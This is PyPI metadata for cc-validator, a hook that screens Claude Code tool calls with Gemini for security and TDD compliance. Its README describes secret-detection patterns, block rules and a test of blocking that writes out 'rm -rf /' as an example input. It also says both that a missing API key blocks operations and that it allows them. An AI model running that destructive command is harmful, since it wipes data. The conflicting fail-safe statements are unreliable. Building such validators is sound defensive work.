cc-validator --capture-test-results rust\n\n# Note: Requires nightly for stable JSON output\ncargo +nightly test -- -Z unstable-options --format json | uvx cc-validator --capture-test-results rust\n```\n\n#### Dart/Flutter\n```bash\n# Capture dart test results\ndart test --reporter json | uvx cc-validator --capture-test-results dart\n\n# Or for Flutter\nflutter test --machine | uvx cc-validator --capture-test-results flutter\n```\n\n\n### Test Result Format\n\nAll test integrations use this standardized JSON format:\n\n```json\n{\n \"timestamp\": 1640995200.0,\n \"expiry\": 1640996400.0,\n \"test_results\": {\n \"status\": \"failed|passed|no_tests\",\n \"total_tests\": 10,\n \"passed\": 8,\n \"failed\": 2,\n \"skipped\": 0,\n \"duration\": 5.2,\n \"failures\": [\n {\n \"test\": \"test_example\",\n \"file\": \"tests/test_example.py\",\n \"error\": \"AssertionError: Expected 5, got 3\",\n \"line\": 42\n }\n ],\n \"passes\": [\n {\n \"test\": \"test_working_feature\",\n \"file\": \"tests/test_feature.py\",\n \"duration\": 0.1\n }\n ]\n }\n}\n```\n\n## Architecture\n\n### Core Components\n\n1. **ClaudeToolValidator** (`cc_validator/validator.py`)\n - Main validation engine with enhanced analysis capabilities\n - File upload and comprehensive security analysis\n - Structured output generation with detailed reasoning\n - Improved secret detection with context awareness\n - Full context processing (no truncation limits)\n\n2. **Validation Tiers**\n - **Quick validation**: Rule-based pattern matching (<100ms)\n - **Gemini analysis**: Deep LLM-powered threat assessment (~3s)\n - **File analysis**: Enhanced security scanning for large files (~5s)\n\n3. **Enhanced Security Models**\n - `ValidationResponse`: Comprehensive analysis with thinking process, detailed analysis, and full context\n - `FileAnalysisResponse`: Deep file security analysis with vulnerability identification\n - **New Fields**: `detailed_analysis`, `thinking_process`, `full_context`, `raw_response`\n\n### Secret Detection Improvements\n\nEnhanced patterns with reduced false positives:\n\n- **Word boundaries**: Prevents matching variable names like `GEMINI_API_KEY`\n- **Placeholder exclusion**: Ignores `YOUR_API_KEY`, `<SECRET>`, etc.\n- **Quoted value requirements**: Focuses on actual string assignments\n- **Minimum length**: Requires 20+ characters for generic secrets\n- **Specific formats**: Detects AWS keys, JWTs, GitHub tokens directly\n\n### ADK Integration Patterns\n\nFollowing Google ADK `before_tool_callback` methodology:\n\n```python\ndef before_tool_callback(self, tool_request: dict) -> Optional[dict]:\n \"\"\"ADK-inspired validation returning None (allow) or error dict (block)\"\"\"\n validation_result = self.validate_tool_use(tool_name, tool_input, context)\n return None if validation_result[\"approved\"] else {\"error\": validation_result[\"reason\"]}\n```\n\n## Configuration\n\n### Environment Variables\n- `GEMINI_API_KEY`: **REQUIRED** - Operations are blocked without valid API key\n- No fail-safe mode - security and TDD validation require API access\n\n### Hook Configuration\n- **Matcher**: `Write|Edit|Bash|MultiEdit|Update|TodoWrite` - Tools to validate\n- **Timeout**: 8000ms - Adequate for LLM analysis and file upload\n- **Command**: Full path to validator script or uvx command\n\n### Model Settings\n- **Model**: `gemini-2.5-pro` - Advanced reasoning capabilities for security analysis\n- **Thinking Budget**: 24576 tokens for deep security reasoning and analysis\n- **Structured Output**: JSON schema validation via Pydantic models\n- **Context Processing**: Full conversation context without truncation limits\n- **File Analysis**: Large file security scanning via Gemini Files API\n\n## TDD Validation Behavior\n\n### Core TDD Principles\nThe validator enforces Test-Driven Development (TDD) Red-Green-Refactor cycle:\n\n1. **RED Phase**: Write ONE failing test for desired behavior\n2. **GREEN Phase**: Write MINIMAL code to pass the test\n3. **REFACTOR Phase**: Improve code while keeping tests green\n\n### Test Modification vs Addition (v1.10.0)\nThe validator now distinguishes between test modification and test addition:\n\n#### Allowed Test Modifications (Red Phase Refinement)\n- **Changing test implementation** while keeping same function name\n- **Renaming test functions** (e.g., `test_login` \u2192 `test_login_redirects`)\n- **Replacing one test with another** (removing old, adding new = net zero)\n- **Simplifying complex tests** into focused ones\n\n#### Test Addition Rules\n- **ONE test rule applies to NET new tests**, not modifications\n- Net increase = (new test count) - (old test count)\n- If net increase > 1, operation is blocked\n- Example: File has 3 tests \u2192 update to 4 tests = allowed (net +1)\n- Example: File has 3 tests \u2192 update to 5 tests = blocked (net +2)\n\n### Practical TDD Workflow Examples\n\n#### Example 1: Refining a Test During Red Phase\n```python\n# Initial test (too complex)\ndef test_google_oauth_login_redirects_to_google():\n with patch('auth.get_google_sso') as mock_sso:\n mock_sso.get_login_url.return_value = \"https://google.com\"\n response = client.get(\"/auth/login\")\n assert response.status_code == 307\n\n# Refined test (simpler, focused) - ALLOWED\ndef test_google_oauth_login_endpoint_exists():\n response = client.get('/auth/login')\n assert response.status_code != 404\n```\n\n#### Example 2: Test Evolution\n```python\n# Step 1: Initial failing test - ALLOWED\ndef test_login():\n assert False\n\n# Step 2: Rename for clarity - ALLOWED (net zero)\ndef test_login_redirects_to_oauth():\n assert False\n\n# Step 3: Update implementation - ALLOWED (same test count)\ndef test_login_redirects_to_oauth():\n response = client.get('/login')\n assert response.status_code == 302\n```\n\n### Validation Rules Summary\n- **BLOCK**: Multiple NEW tests in one operation (net increase > 1)\n- **BLOCK**: Code with comments (enforce self-evident code)\n- **BLOCK**: Implementation beyond test requirements\n- **ALLOW**: Test modifications with net zero change\n- **ALLOW**: Adding ONE new test per operation\n- **ALLOW**: Refactoring while keeping tests green\n\n## Development\n\n### Project Structure\n```\ncc-validator/\n cc_validator/\n __init__.py # Package metadata (v1.5.0)\n __main__.py # Module entry point\n main.py # CLI entry point and hook setup\n validator.py # Legacy single-file validator (deprecated)\n security_validator.py # Security-focused validation module\n tdd_validator.py # TDD compliance validation module\n tdd_prompts.py # TDD-specific prompt templates\n hybrid_validator.py # Sequential pipeline orchestrator\n file_storage.py # Context persistence for TDD state\n prompts/ # Reserved for future prompt templates\n validators/ # Reserved for future validators\n tests/\n test_validation.py # Comprehensive test suite\n test_tdd_direct.py # TDD validation test suite\n .claude/\n cc-validator/\n data/\n test.json # Test results (20-min expiry)\n todos.json # Todo state tracking\n modifications.json # File modification history\n dist/ # Built packages\n pyproject.toml # Package configuration\n mypy.ini # Type checking configuration\n uv.lock # Dependency lock file\n CLAUDE.md # Development guidance\n CONTRIBUTING.md # Contribution guidelines\n LICENSE # MIT License\n README.md # This file\n```\n\n### Adding New Security Patterns\n\n1. **Rule-based patterns** (Tier 1): Add to `validate_bash_command()` or `validate_file_operation()`\n2. **LLM analysis** (Tier 2): Update validation prompt in `build_validation_prompt()`\n3. **File analysis** (Tier 3): Enhance `analyze_uploaded_file()` prompt\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.\n\n## Contributing\n\n1. Follow existing code patterns and security principles\n2. Add tests for new validation patterns in `tests/`\n3. Run quality checks: `uvx ruff`, `uvx mypy`, `uvx black`\n4. Update documentation for new features\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md) for detailed contribution guidelines.\n\n## Security Considerations\n\n- **Fail-safe**: Missing API key allows operations (prevents lockout)\n- **Performance**: Quick validation for common patterns\n- **Privacy**: Temporary files cleaned up after analysis\n- **Reliability**: Structured output prevents parsing errors\n- **Precision**: Improved secret detection reduces false positives\n\n## Hook Behavior & Verification\n\n### Understanding \"Silent Success\" Design\nThe validation system follows the \"silent on success\" principle common in CLI tools:\n\n- **\u2705 Approved Operations**: Continue silently without any validation output\n- **\u274c Blocked Operations**: Show detailed error messages with analysis and suggestions\n\nThis design keeps the development flow uninterrupted while providing comprehensive feedback only when intervention is needed.\n\n### Verifying Hooks Are Working\n\nTo confirm your hooks are active and functioning:\n\n```bash\n# Test 1: Try a blocked command (should show error)\ngrep \"pattern\" file.txt\n# Expected: Error message suggesting 'rg' instead\n\n# Test 2: Try dangerous command (should be blocked)\necho \"rm -rf /\" # DO NOT RUN - just demonstrates blocking\n\n# Test 3: Safe operations (should proceed silently)\nls -la\nrg \"pattern\" file.txt\nuv run python --version\n```\n\n### Troubleshooting\n\nIf hooks don't seem to trigger:\n1. Check `.claude/settings.local.json` contains hook configuration\n2. Verify `GEMINI_API_KEY` environment variable is set\n3. Confirm you're in the correct directory with `pyproject.toml`\n4. Test with commands known to be blocked (grep, python, find)\n\n## Recent Improvements\n\n### Template File Support (v1.7.0 - Latest)\n- **Template File Detection**: Automatically identifies HTML, Jinja2, Handlebars, EJS, Vue, Svelte, and other template files\n- **Template-Specific Validation**: Focuses on XSS prevention and template injection rather than server-side security\n- **Smart Categorization**: Templates skip code security analysis by default, allowing legitimate template patterns\n- **Configurable Strictness**: `STRICT_TEMPLATE_VALIDATION` config option for enforcing stricter XSS checks\n- **Critical Secret Protection**: Still blocks real production secrets (AWS keys, Stripe live keys) in templates\n- **Resolved Issue #33**: Fixed overly strict validation that blocked legitimate HTML template creation\n\n### Documentation Validation Fix (v1.6.0)\n- **Fixed Documentation Analysis**: Documentation files now correctly skip code security analysis\n- **File Categorization Order**: File type detection now happens before file upload/analysis\n- **Documentation-Safe**: Markdown files can contain example secrets and commands without being blocked\n- **Comprehensive Test Coverage**: Added specific tests for documentation validation scenarios\n- **Resolved Issue #31**: Fixed bug where docs >500 chars were incorrectly analyzed as code\n\n### Enhanced Validation and Testing (v1.5.0)\n- **Comprehensive Testing Suite**: Parallel test execution reduces runtime to ~30 seconds\n- **Pre-commit Hooks**: Automated validation before commits with quick and comprehensive tests\n- **Update Tool Support**: Added Update tool to TDD validation for complete file replacements\n- **No-Comments Enforcement**: Blocks code with comments to promote self-evident code\n- **SOLID Principles Validation**: Enforces all five SOLID principles (SRP, OCP, LSP, ISP, DIP)\n- **Zen of Python Compliance**: Validates code follows Python's guiding principles\n- **Prompt Simplification**: Reduced prompt size by ~80% while maintaining functionality\n- **Emoji-Free Output**: All validation messages now use clean text formatting\n- **Fixed API Conflicts**: Resolved Gemini API tool/JSON response format conflicts\n\n### Hybrid Security + TDD Validation System (v1.1.0)\n- **Modular Architecture**: Split monolithic validator into specialized modules (security, TDD, hybrid)\n- **TDD Enforcement**: Implemented Red-Green-Refactor cycle with strict single test rule\n- **Context Persistence**: Added FileStorage for test results, todos, and modification tracking\n- **Sequential Pipeline**: Security validation \u2192 TDD validation \u2192 Result aggregation\n- **Operation-Specific Logic**: Custom validation for Edit/Write/MultiEdit/TodoWrite operations\n- **Smart Test Detection**: Automatic test file identification and new test counting\n- **Fixed TDD Bug**: Corrected prompt that was allowing multiple tests in test files\n- **No Fail-Safe Mode**: Removed fail-safe behavior - operations blocked without API key\n\n### Hook Functionality Verification\n- **Confirmed Full Operational Status**: Comprehensive testing validated all hook functionality\n- **Silent Success Clarification**: Added documentation explaining when validation output appears\n- **Real-world Testing**: Verified hooks work correctly in actual Claude Code operations\n- **Troubleshooting Guide**: Added verification steps for users to confirm hook activation\n\n### Enhanced LLM Analysis Output\n- **Comprehensive stderr Output**: Structured analysis sections with detailed reasoning\n- **Full Context Processing**: Removed 800-character truncation limit for complete conversation analysis\n- **Enhanced Response Fields**: Added `detailed_analysis`, `thinking_process`, `full_context`, `raw_response`\n- **Fixed File Analysis**: Resolved Gemini Files API integration for proper large file security scanning\n- **Deep Thinking Process**: Complete step-by-step security reasoning documentation\n- **Educational Feedback**: Detailed explanations of security implications and best practices\n\n### Enhanced Secret Detection (v1.0.3)\n- Added word boundaries to prevent false positives on variable names\n- Implemented placeholder exclusion for documentation examples\n- Focus on quoted values for generic secret patterns\n- Added specific patterns for AWS, GitHub, Stripe, Slack tokens\n- Reduced false positives while maintaining security coverage\n\n## Roadmap: Hybrid Security + TDD Validation System\n\n### Phase 1: Foundation (v1.1.0) \u2705 COMPLETED\n**Goal**: Add TDD validation alongside existing security validation\n\n- [x] **FileStorage Implementation**: Added context persistence in `.claude/cc-validator/data/`\n - Test results with 20-minute expiry (similar to TDD Guard)\n - Todo state tracking for TDD workflow awareness\n - File modification history for context aggregation\n\n- [x] **Hook Extension**: Updated matcher to include `TodoWrite` operations\n - Previous: `\"Write|Edit|Bash|MultiEdit\"`\n - Current: `\"Write|Edit|Bash|MultiEdit|TodoWrite\"`\n\n- [x] **TDD Validation Logic**: Implemented Red-Green-Refactor cycle enforcement\n - Adopted TDD Guard's core principles and validation rules\n - Added operation-specific analysis (Edit/Write/MultiEdit)\n - Integrated with existing security validation pipeline\n\n### Phase 2: Test Integration (v1.2.0) \u2705 COMPLETED\n**Goal**: Automatic test result capture and TDD state management\n\n- [x] **Pytest Plugin**: Auto-capture test results via pytest hooks with entry point registration\n- [x] **Multi-Language Reporters**: Implemented parsers for Python, TypeScript/JavaScript, Go, Rust, Dart/Flutter\n- [x] **CLI Integration**: Added `--capture-test-results` and `--list-languages` flags\n- [x] **Test Result Processing**: Standardized JSON format across all languages\n- [x] **UX Improvements**: Simplified output format, removed redundant headers, actionable-first design\n- [x] **Performance Optimization**: Added FILE_CATEGORIZATION_MODEL using lighter gemini-2.5-flash\n\n### Phase 3: Advanced Features (v1.3.0)\n**Goal**: Multi-language support and enhanced validation\n\n- [ ] **Modular Prompt System**: Adopt TDD Guard's operation-specific prompt architecture\n- [ ] **TypeScript Support**: Add Vitest integration for JavaScript/TypeScript projects\n- [ ] **Enhanced Response Model**: Unified security + TDD analysis in single response\n\n### Architecture Comparison: TDD Guard vs Our System\n\n| Component | TDD Guard | Our System (v1.5.0) |\n|-----------|-----------|---------------------|\n| **Hook Scope** | `Write\\|Edit\\|MultiEdit\\|TodoWrite` | `Write\\|Edit\\|Bash\\|MultiEdit\\|Update\\|TodoWrite` |\n| **Validation Logic** | Single-purpose TDD | Security \u2192 TDD + Comments/SOLID/Zen + Context-Aware |\n| **Response Model** | Simple approve/block | Clean, actionable-first output |\n| **Context Storage** | `.claude/tdd-guard/data/` | `.claude/cc-validator/data/` |\n| **Test Integration** | Auto-reporters (Vitest/pytest) | Full auto-reporters (5 languages) |\n| **Architecture** | Modular from start | Modular: security, TDD, hybrid modules + FileContextAnalyzer |\n| **Testing** | Basic unit tests | Parallel test suite (~3-5s with 10x speedup) |\n| **Pre-commit** | None | Full pre-commit hooks |\n| **File Context** | None | Intelligent file categorization (test/config/structural/implementation) |\n| **Documentation** | Basic | Pre-push checks for README.md, CLAUDE.md, CHANGELOG.md |\n\n### Implementation Strategy\n\nThe hybrid approach leverages our **existing infrastructure strengths**:\n- \u2705 Sophisticated ValidationResponse model (10+ analysis fields)\n- \u2705 Multi-tier validation pipeline (rule-based + LLM + file analysis)\n- \u2705 Advanced prompt engineering with comprehensive analysis\n- \u2705 Production-ready PreToolUse hook integration\n\nAnd adds **TDD Guard's proven capabilities**:\n- \ud83d\udd04 Context persistence and state management\n- \ud83d\udd04 Operation-specific validation logic\n- \ud83d\udd04 Test result capture and integration\n- \ud83d\udd04 Red-Green-Refactor cycle enforcement\n\n**Result**: A comprehensive development quality assurance system that provides both security protection and TDD enforcement in a single, unified validation pipeline.\n\n## Changelog\n\n### v2.0.2 (2025-07-27)\n- Fixed all remaining references to old package name\n- Updated data directory from `.claude/adk-validator/` to `.claude/cc-validator/`\n- Fixed --setup command to use cc-validator\n- Updated all CLI examples and documentation\n\n### v2.0.0 (2025-07-27) - BREAKING CHANGE\n- **BREAKING**: Renamed package from `claude-code-adk-validator` to `cc-validator`\n- **BREAKING**: All imports now use `cc_validator` instead of `claude_code_adk_validator`\n- Simplified package name for better usability\n- All functionality remains the same\n- Migration: Update imports from `claude_code_adk_validator` to `cc_validator`\n\n### v1.12.4 (Previous)\n- Last release under old package name\n\n## License\n\nMIT License - See LICENSE file for details\n",
"bugtrack_url": null,
"license": null,
"summary": "Hybrid security + TDD validation for Claude Code with automatic test result capture using Google Gemini",
"version": "2.0.5",
"project_urls": {
"Documentation": "https://github.com/jihunkim0/jk-hooks-gemini-challenge#readme",
"Homepage": "https://github.com/jihunkim0/jk-hooks-gemini-challenge",
"Issues": "https://github.com/jihunkim0/jk-hooks-gemini-challenge/issues",
"Repository": "https://github.com/jihunkim0/jk-hooks-gemini-challenge.git"
},
"split_keywords": [
"adk",
" ai-safety",
" claude-code",
" gemini",
" hooks",
" security",
" tdd",
" test-driven-development",
" validation"
],
"urls": [
{
"comment_text": null,
"digests": {
"blake2b_256": "4640e84b2f5c0b33178e45435e8b316b1139205fb2e6e7eabb18f0fb435c21da",
"md5": "8fe8504461dc94ec87db989d41e2935b",
"sha256": "3e0c022f7e2a6c4914f8b02befa4e910434b9f20da8db2e1b9b8cd9c3fc55fd2"
},
"downloads": -1,
"filename": "cc_validator-2.0.5-py3-none-any.whl",
"has_sig": false,
"md5_digest": "8fe8504461dc94ec87db989d41e2935b",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.12",
"size": 66282,
"upload_time": "2025-07-28T07:29:17",
"upload_time_iso_8601": "2025-07-28T07:29:17.870440Z",
"url": "https://files.pythonhosted.org/packages/46/40/e84b2f5c0b33178e45435e8b316b1139205fb2e6e7eabb18f0fb435c21da/cc_validator-2.0.5-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": null,
"digests": {
"blake2b_256": "2d6c4ff46d392a8edabd5866299363b08b086f431640a063f7bd07b42cb17f31",
"md5": "d36faf427d950de865beab37343031a9",
"sha256": "496e8bd8439dd16bbca9978a7cdf5bab61181c11847aa41d687fb71651bea989"
},
"downloads": -1,
"filename": "cc_validator-2.0.5.tar.gz",
"has_sig": false,
"md5_digest": "d36faf427d950de865beab37343031a9",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.12",
"size": 133130,
"upload_time": "2025-07-28T07:29:19",
"upload_time_iso_8601": "2025-07-28T07:29:19.338623Z",
"url": "https://files.pythonhosted.org/packages/2d/6c/4ff46d392a8edabd5866299363b08b086f431640a063f7bd07b42cb17f31/cc_validator-2.0.5.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2025-07-28 07:29:19",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "jihunkim0",
"github_project": "jk-hooks-gemini-challenge#readme",
"github_not_found": true,
"lcname": "cc-validator"
}
JSON
